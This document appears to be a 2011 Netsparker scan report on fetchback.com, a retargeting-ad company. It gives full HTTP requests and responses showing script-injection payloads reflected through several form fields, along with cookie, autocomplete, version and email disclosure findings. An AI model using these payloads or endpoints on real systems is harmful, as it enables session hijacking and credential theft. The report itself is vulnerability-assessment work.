Netsparker, Web Application Security Scanner

XSS, DORK fetchback.com REPORT SUMMARY

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Netsparker - Scan Report Summary
TARGET URL
https://fetchback.com/serve/fb/pdc?cat=&name=...
SCAN DATE
4/18/2011 9:16:39 PM
REPORT DATE
4/18/2011 9:34:31 PM
SCAN DURATION
00:09:21

Total Requests

Average Speed

req/sec.
13
identified
8
confirmed
0
critical
2
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
38 %
MEDIUM
15 %
LOW
31 %
INFORMATION
15 %
Cross-site Scripting

Cross-site Scripting

4 TOTAL
IMPORTANT
CONFIRMED
4
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:
  • Hi-jacking users' active session
  • Changing the look of the page within the victims browser.
  • Mounting a successful phishing attack.
  • Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /whitepaper2011.php

/whitepaper2011.php CONFIRMED

https://fetchback.com/whitepaper2011.php

Parameters

Parameter Type Value
first_name POST Ronald Smith
last_name POST Ronald Smith
company POST 3
zip POST 3
phone POST 3
email POST '"--></style></script><script>alert(0x00074A)</script>

Request

POST /whitepaper2011.php HTTP/1.1
Referer: https://fetchback.com/whitepaper.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: fetchback.com
Cookie: PHPSESSID=078v8llhi17iq75sfga198fbd7
Content-Length: 162
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

first_name=Ronald+Smith&last_name=Ronald+Smith&company=3&zip=3&phone=3&email='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x00074A)%3c%2fscript%3e

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 03:16:01 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Cache-Control: max-age=0
Expires: Tue, 19 Apr 2011 03:16:01 GMT
Content-Length: 633
Connection: close
Content-Type: text/html; charset=UTF-8
X-Pad: avoid browser bug


Your request has been queued.Record Information: first_name: Ronald Smith last_name: Ronald Smith company: 3 zip: 3 phone: 3 email: '&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;netsparker(0x00074A)&lt;/script&gt; oid: 00DC0000000QPrk 00NC00000055sB8: FEB leadsource: White Paper description: Requested white paper from website debug: 1 debugEmail: marketing@fetchback.comInvalid address: '"--></style></script><script>netsparker(0x00074A)</script>You must provide at least one recipient email address.Mailer Error: You must provide at least one recipient email address.
- /casestudiesrequest2011.php

/casestudiesrequest2011.php CONFIRMED

https://fetchback.com/casestudiesrequest2011.php

Parameters

Parameter Type Value
first_name POST Ronald Smith
last_name POST Ronald Smith
company POST 3
zip POST 3
phone POST 3
email POST '"--></style></script><script>alert(0x000751)</script>
industries[] POST Stationery

Request

POST /casestudiesrequest2011.php HTTP/1.1
Referer: https://fetchback.com/casestudies.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: fetchback.com
Cookie: PHPSESSID=078v8llhi17iq75sfga198fbd7
Content-Length: 186
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

first_name=Ronald+Smith&last_name=Ronald+Smith&company=3&zip=3&phone=3&email='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000751)%3c%2fscript%3e&industries[]=Stationery

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 03:16:07 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Cache-Control: max-age=0
Expires: Tue, 19 Apr 2011 03:16:07 GMT
Content-Length: 199
Connection: close
Content-Type: text/html; charset=UTF-8
X-Pad: avoid browser bug


Invalid address: '"--></style></script><script>netsparker(0x000751)</script>You must provide at least one recipient email address.Mailer Error: You must provide at least one recipient email address.
- /casestudiesrequest2011.php

/casestudiesrequest2011.php CONFIRMED

https://fetchback.com/casestudiesrequest2011.php

Parameters

Parameter Type Value
first_name POST Ronald Smith
last_name POST Ronald Smith
company POST 3
zip POST 3
phone POST 3
email POST '"--></style></script><script>alert(0x0007CD)</script>
industries%5B%5D POST Beauty Products

Request

POST /casestudiesrequest2011.php HTTP/1.1
Referer: https://fetchback.com/casestudies.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: fetchback.com
Cookie: PHPSESSID=078v8llhi17iq75sfga198fbd7
Content-Length: 195
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

first_name=Ronald+Smith&last_name=Ronald+Smith&company=3&zip=3&phone=3&email='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0007CD)%3c%2fscript%3e&industries%5B%5D=Beauty+Products

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 02:22:15 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Cache-Control: max-age=0
Expires: Tue, 19 Apr 2011 02:22:15 GMT
Content-Length: 199
Connection: close
Content-Type: text/html; charset=UTF-8
X-Pad: avoid browser bug


Invalid address: '"--></style></script><script>netsparker(0x0007CD)</script>You must provide at least one recipient email address.Mailer Error: You must provide at least one recipient email address.
- /casestudiesrequest2011.php

/casestudiesrequest2011.php CONFIRMED

https://fetchback.com/casestudiesrequest2011.php

Parameters

Parameter Type Value
first_name POST Ronald Smith
last_name POST Ronald Smith
company POST 3
zip POST 3
phone POST 3
email POST '"--></style></script><script>alert(0x0007E0)</script>

Request

POST /casestudiesrequest2011.php HTTP/1.1
Referer: https://fetchback.com/casestudies.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: fetchback.com
Cookie: PHPSESSID=078v8llhi17iq75sfga198fbd7
Content-Length: 162
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

first_name=Ronald+Smith&last_name=Ronald+Smith&company=3&zip=3&phone=3&email='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0007E0)%3c%2fscript%3e

Response

HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 03:17:58 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Cache-Control: max-age=0
Expires: Tue, 19 Apr 2011 03:17:58 GMT
Content-Length: 199
Connection: close
Content-Type: text/html; charset=UTF-8
X-Pad: avoid browser bug


Invalid address: '"--></style></script><script>netsparker(0x0007E0)</script>You must provide at least one recipient email address.Mailer Error: You must provide at least one recipient email address.
Cookie Not Marked As Secure

Cookie Not Marked As Secure

1 TOTAL
IMPORTANT
CONFIRMED
1
A Cookie was not marked as secure and transmitted over HTTPS. This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic or following a successful MITM (Man in the middle) attack.

Impact

This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie) an attacker might intercept it and hijack a victim's session. If the attacker can carry out a MITM attack, he/she can force victim to make a HTTP request to steal the cookie.

Actions to Take

  1. See the remedy for solution.
  2. Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information you do not have to mark it as secure.))

Remedy

Mark all cookies used within the application as secure.

Required Skills for Successful Exploitation

To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or victim's network. Attackers need to be understand layer 2, have physical access to systems either as way points for the traffic, or locally (have gained access to) to a system between the victim and the web server.
- /landing2.php

/landing2.php CONFIRMED

https://fetchback.com/landing2.php

Identified Cookie

PHPSESSID

Request

GET /landing2.php HTTP/1.1
Referer: https://fetchback.com/index.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: fetchback.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 302 Found
Date: Tue, 19 Apr 2011 02:15:59 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=078v8llhi17iq75sfga198fbd7; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: getstarted_success.html
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8


[Possible] Cross-site Scripting

[Possible] Cross-site Scripting

2 TOTAL
MEDIUM
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

Netsparker believes that there is a XSS (Cross-site Scripting) in here it could not confirm it. We strongly recommend investigating the issue manually to ensure that it is an XSS (Cross-site Scripting) and needs to be addressed.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:
  • Hi-jacking users' active session
  • Changing the look of the page within the victims browser.
  • Mounting a successful phishing attack.
  • Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered / encoded. Output should be filtered / encoded according to the output format and location.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /casestudiesrequest2011.php

/casestudiesrequest2011.php

https://fetchback.com/casestudiesrequest2011.php

Parameters

Parameter Type Value
first_name POST Ronald Smith
last_name POST Ronald Smith
company POST 3
zip POST 3
phone POST 3
email POST netsparker@example.com
industries[] POST '"--></style></script><script>alert(0x000756)</script>

Notes

This page responses with HTTP redirect status therefore detected XSS vulnerability might not be exploitable in many conditions however it still indicates lack of correct filtering and should be addressed.

Request

POST /casestudiesrequest2011.php HTTP/1.1
Referer: https://fetchback.com/casestudies.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: fetchback.com
Cookie: PHPSESSID=078v8llhi17iq75sfga198fbd7
Content-Length: 200
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

first_name=Ronald+Smith&last_name=Ronald+Smith&company=3&zip=3&phone=3&email=netsparker%40example.com&industries[]='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000756)%3c%2fscript%3e

Response

HTTP/1.1 302 Found
Date: Tue, 19 Apr 2011 03:16:09 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Location: ./casestudiessuccess.html
Cache-Control: max-age=0
Expires: Tue, 19 Apr 2011 03:16:09 GMT
Content-Length: 115
Connection: close
Content-Type: text/html; charset=UTF-8


Could not access file: wpcases/FetchBack-CaseStudy-'"--></style></script><script>netsparker(0x000756)</script>.pdf
- /casestudiesrequest2011.php

/casestudiesrequest2011.php

https://fetchback.com/casestudiesrequest2011.php

Parameters

Parameter Type Value
first_name POST Ronald Smith
last_name POST Ronald Smith
company POST 3
zip POST 3
phone POST 3
email POST netsparker@example.com
industries%5B%5D POST '"--></style></script><script>alert(0x0007CF)</script>

Notes

This page responses with HTTP redirect status therefore detected XSS vulnerability might not be exploitable in many conditions however it still indicates lack of correct filtering and should be addressed.

Request

POST /casestudiesrequest2011.php HTTP/1.1
Referer: https://fetchback.com/casestudies.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: fetchback.com
Cookie: PHPSESSID=078v8llhi17iq75sfga198fbd7
Content-Length: 204
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

first_name=Ronald+Smith&last_name=Ronald+Smith&company=3&zip=3&phone=3&email=netsparker%40example.com&industries%5B%5D='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x0007CF)%3c%2fscript%3e

Response

HTTP/1.1 302 Found
Date: Tue, 19 Apr 2011 02:22:17 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Location: ./casestudiessuccess.html
Cache-Control: max-age=0
Expires: Tue, 19 Apr 2011 02:22:17 GMT
Content-Length: 115
Connection: close
Content-Type: text/html; charset=UTF-8


Could not access file: wpcases/FetchBack-CaseStudy-'"--></style></script><script>netsparker(0x0007cf)</script>.pdf
Auto Complete Enabled

Auto Complete Enabled

1 TOTAL
LOW
CONFIRMED
1
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".

Impact

Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.

Remedy

Add the attribute autocomplete="off" to the form tag or to individual "input" fields.

Actions to Take

  1. See the remedy for the solution.
  2. Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.

Required Skills for Successful Exploitation

Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.

External References

- /index.html

/index.html CONFIRMED

https://fetchback.com/index.html

Identified Field Name

j_password

Request

GET /index.html HTTP/1.1
Referer: https://fetchback.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: fetchback.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 19 Apr 2011 03:11:24 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 28 Mar 2011 20:04:53 GMT
Accept-Ranges: bytes
Content-Length: 7982
Cache-Control: max-age=0
Expires: Tue, 19 Apr 2011 03:11:24 GMT
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta name="description" content="FetchBack is an internet marketing company that specializes in a targeted form of behavioral targeting called retargeting. Banner advertisements are placed in front of interested consumers who return to convert. Retargeting is the perfect complement to pay per click, Adsense, and Adwords efforts. The technology network allows for combined, unduplicated reach across all of the network partners." />
<meta name="keywords" content="retargeting, online marketing, internet marketing, SEO, SEM, PPC, banner ads, banner advertisements, display ads, display advertisements, re targeting, retarget, FetchBack, behavioral targeting, behavioral marketing" />
<link rel="stylesheet" type="text/css" href="css/fetchbackhp.css" />
<!--[if IE]>
<style>
#fHolder #fetchback #j_password.userfield { font-size:11px; } */
#cFormHolder #form1 #cLog { top:3px; }
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="js/writeFlash.js"></script>
<script language="javascript" type="text/javascript" src="js/randomQuote.js"></script>
<script language="javascript" type="text/javascript" src="js/jquery.js"></script>
<script language="javascript" type="text/javascript" src="fb_stat.js.php"></script>

<script language="javascript" type="text/javascript">
<!--
function MM_openBrWindow(theURL,winName,features)
{ //v2.0
window.open(theURL,winName,features);
}
//-->
</script>
<title>FetchBack - The Retargeting Company</title>
</head>
<body id="home" class="hp">

<!-- ############################################## Double login bug fix! Do not remove! nikolas@fetchback.com ####################################################-->
<iframe src='http://fido.fetchback.com/fido/app?page=Home&service=page' scrolling='no' width='1' height='1' marginheight='0' marginwidth='0' frameborder='0'></iframe>
<!-- ############################################################################################################################################################## -->


<div id="hpBody">
<div id="flashHeader">
<script language="javascript" type="text/javascript">writeFlash('HPmovie',930,330);</script>
</div>
<div id="leftFlash">
<script language="javascript" type="text/javascript">writeFlash('HPclients',690,60);</script>
</div>
<div id="loginBox">
<div id="fHolder">
<form name="fetchback" id="fetchback" method="post" action="https://fido.fetchback.com/fido/j_spring_security_check" class="client_login">
<input name="j_username" type="text" class="userfield" value="username" onfocus="this.select();" />
<input type="hidden" name="_spring_security_remember_me" value="true"/>
<input name="j_password" id="j_password" type="password" value="password" class="userfield" onfocus="this.select();" onkeypress="l_keypress(event);" />
<a href="#" id="go" onclick="javascript:document.getElementById('fetchback').submit();return false;" onmouseover="goBtn.src='hpimages/button_go_clientlogin2.jpg';" onmouseout="goBtn.src='hpimages/button_go_clientlogin1.jpg';"><img src="hpimages/button_go_clientlogin1.jpg" width="23" height="17" border="0" id="goBtn" name="goBtn" alt="Login" /></a>
<a href="forgotpassword.html" id="ooL">Forgot your Password?</a>
</form>
</div>
</div>
<div id="freeConsult">
<div id="cFormHolder">
<form id="form1" method="post" action="./landing2.php">
<input name="Name" type="text" value="name" onfocus="this.select();" class="userfield" id="Name" />
<input name="phone" type="text" value="phone" onfocus="this.select();" class="userfield" id="phone" />
<input name="email" type="text" value="email" onfocus="this.select();" class="userfield" id="email"onkeypress="p_keypress(event);" />
<a href="#" id="cLog" onclick="document.getElementById('form1').submit();" onmouseover="clBtn.src='intimages/button_go2.jpg';" onmouseout="clBtn.src='intimages/button_go1.jpg';"><img src="intimages/button_go1.jpg" width="23" height="17" border="0" id="clBtn" name="clBtn" alt="Go!" /></a>
</form>
</div>
</div>
<div id="ValueDelivered1">
<div class="valueadded">
<div id="totalNum" style="display:none;"></div>
<div id="totalNumFormat" style="display:inline;"></div>
<script src="fb_stat.js.php" language="javascript" type="text/javascript"></script>
<a href="whitepaper.html"><img src="hpimages/spacer.gif" width="260" height="30" border="0" alt="Get a copy of our whitepaper" /></a>
<a href="livedemo.html"><img src="hpimages/spacer.gif" width="260" height="22" border="0" style="margin-top:8px;" alt="View our live demo!" /></a>
</div>
</div>
<div id="FBNews">
<a href="news.html" onmouseover="fbn.src='hpimages/hp_fetchbacknews_title2.jpg';" onmouseout="fbn.src='hpimages/hp_fetchbacknews_title1.jpg';"><img src="hpimages/hp_fetchbacknews_title1.jpg" width="311" height="28" border="0" id="fbn" name="fbn" alt="FetchBack News" /></a>
<!-- Top 3 News items can go in the space below - area stops displaying after here - - - - -v //-->
<ul id="fbNewsList">
<li><b>03/17/2011:</b> <a href ="http://www.bizreport.com/2011/03/fetchback-retargeted-pushing-more-than-simple-conversions.html">Fetchback: Retargeted pushing ...</a></li>
<li><b>03/17/2011:</b> <a href="press_031711.html">FetchBack's New Analytics Tool ...</a></li>
<li><b>01/21/2011:</b> <a href="press_012111.html">FetchBack Integrates Retargeting ...</a></li>
</ul>
<em>Read News and opinions from FetchBack Insiders:</em>
<br />
<div id="fbnLinks"><a href="http://www.fetchback.typepad.com/" target="_blank">FetchBack Blog</a>&nbsp;&nbsp;&nbsp;<a href="http://fetchback.typepad.com/best_little_blog/" target="_blank">Chad's &quot;Best Little Blog&quot;</a></div>
</div>
<div id="footerSpacer"></div>
<div id="footerOuter"><div id="textMenu"><a href="aboutus.html">Company Info</a>&nbsp;|&nbsp;<a href="privacy.html">Privacy Statement</a>&nbsp;|&nbsp;<a href="terms.html" target="_blank">Terms And Conditions</a>&nbsp;|&nbsp;<a href="careers.html">Careers</a>&nbsp;|&nbsp;<a href="optout.html">Opt-Out Of FetchBack's Network</a>&nbsp;&nbsp;&nbsp;Copyright &copy; 2010, FetchBack</div><div id="partnerImages"><a href="http://www.networkadvertising.org/" target="_blank" onmouseover="ni.src='intimages/int_footer3b.jpg';" onmouseout="ni.src='intimages/int_footer3a.jpg';"><img id="ni" name="ni" src="intimages/int_footer3a.jpg" width="94" height="46" border="0" alt="Network Advertising Initiative" /></a><a href="http://www.truste.org/ivalidate.php?url=www.fetchback.com&sealid=101" target="_blank" onmouseover="te.src='intimages/int_footer4b.jpg';" onmouseout="te.src='intimages/int_footer4a.jpg';"><img id="te" name="te" src="intimages/int_footer4a.jpg" width="116" height="46" border="0" alt="Trust E" /></a></div></div>
</div>
<iframe src='http://pixel.fetchback.com/serve/fb/pdc?cat=&name=landing&sid=11' scrolling='no' width='1' height='1' marginheight='0' marginwidth='0' frameborder='0'></iframe>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-2172764-1");
pageTracker._trackPageview();
} catch(err) {}</script>
</body>
</html>
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /landing2.php

/landing2.php CONFIRMED

https://fetchback.com/landing2.php

Identified Cookie

PHPSESSID

Request

GET /landing2.php HTTP/1.1
Referer: https://fetchback.com/index.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: fetchback.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 302 Found
Date: Tue, 19 Apr 2011 02:15:59 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=078v8llhi17iq75sfga198fbd7; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: getstarted_success.html
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8


Apache Version Disclosure

Apache Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /serve/

/serve/

https://fetchback.com/serve/

Extracted Version

Apache/2.2.3 (Red Hat)

Request

GET /serve/ HTTP/1.1
Referer: https://fetchback.com/serve/fb/pdc?cat=&name=landing&sid=782
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: fetchback.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Tue, 19 Apr 2011 02:15:57 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Location: http://fido.fetchback.com
Cache-Control: max-age=0
Expires: Tue, 19 Apr 2011 02:15:57 GMT
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8


PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /

/

https://fetchback.com/

Extracted Version

PHP/5.1.6

Request

GET / HTTP/1.1
Referer: https://fetchback.com/serve/fb/pdc?cat=&name=landing&sid=782
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: fetchback.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 302 Found
Date: Tue, 19 Apr 2011 02:15:57 GMT
Server: Apache/2.2.3 (Red Hat)
X-Powered-By: PHP/5.1.6
Location: index.html
Cache-Control: max-age=0
Expires: Tue, 19 Apr 2011 02:15:57 GMT
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8


Forbidden Resource

Forbidden Resource

1 TOTAL
INFORMATION
CONFIRMED
1
Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.

Impact

There is no impact resulting from this issue.
- /js/

/js/ CONFIRMED

https://fetchback.com/js/

Request

GET /js/ HTTP/1.1
Referer: https://fetchback.com/js/writeFlash.js
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: fetchback.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 403 Forbidden
Date: Tue, 19 Apr 2011 02:15:59 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 205
Connection: close
Content-Type: text/html; charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /js/on this server.</p></body></html>
E-mail Address Disclosure

E-mail Address Disclosure

1 TOTAL
INFORMATION
Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

- /index.html

/index.html

https://fetchback.com/index.html

Found E-mails

nikolas@fetchback.com

Request

GET /index.html HTTP/1.1
Referer: https://fetchback.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: fetchback.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Tue, 19 Apr 2011 03:11:24 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Mon, 28 Mar 2011 20:04:53 GMT
Accept-Ranges: bytes
Content-Length: 7982
Cache-Control: max-age=0
Expires: Tue, 19 Apr 2011 03:11:24 GMT
Connection: close
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta name="description" content="FetchBack is an internet marketing company that specializes in a targeted form of behavioral targeting called retargeting. Banner advertisements are placed in front of interested consumers who return to convert. Retargeting is the perfect complement to pay per click, Adsense, and Adwords efforts. The technology network allows for combined, unduplicated reach across all of the network partners." />
<meta name="keywords" content="retargeting, online marketing, internet marketing, SEO, SEM, PPC, banner ads, banner advertisements, display ads, display advertisements, re targeting, retarget, FetchBack, behavioral targeting, behavioral marketing" />
<link rel="stylesheet" type="text/css" href="css/fetchbackhp.css" />
<!--[if IE]>
<style>
#fHolder #fetchback #j_password.userfield { font-size:11px; } */
#cFormHolder #form1 #cLog { top:3px; }
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="js/writeFlash.js"></script>
<script language="javascript" type="text/javascript" src="js/randomQuote.js"></script>
<script language="javascript" type="text/javascript" src="js/jquery.js"></script>
<script language="javascript" type="text/javascript" src="fb_stat.js.php"></script>

<script language="javascript" type="text/javascript">
<!--
function MM_openBrWindow(theURL,winName,features)
{ //v2.0
window.open(theURL,winName,features);
}
//-->
</script>
<title>FetchBack - The Retargeting Company</title>
</head>
<body id="home" class="hp">

<!-- ############################################## Double login bug fix! Do not remove! nikolas@fetchback.com ####################################################-->
<iframe src='http://fido.fetchback.com/fido/app?page=Home&service=page' scrolling='no' width='1' height='1' marginheight='0' marginwidth='0' frameborder='0'></iframe>
<!-- ############################################################################################################################################################## -->


<div id="hpBody">
<div id="flashHeader">
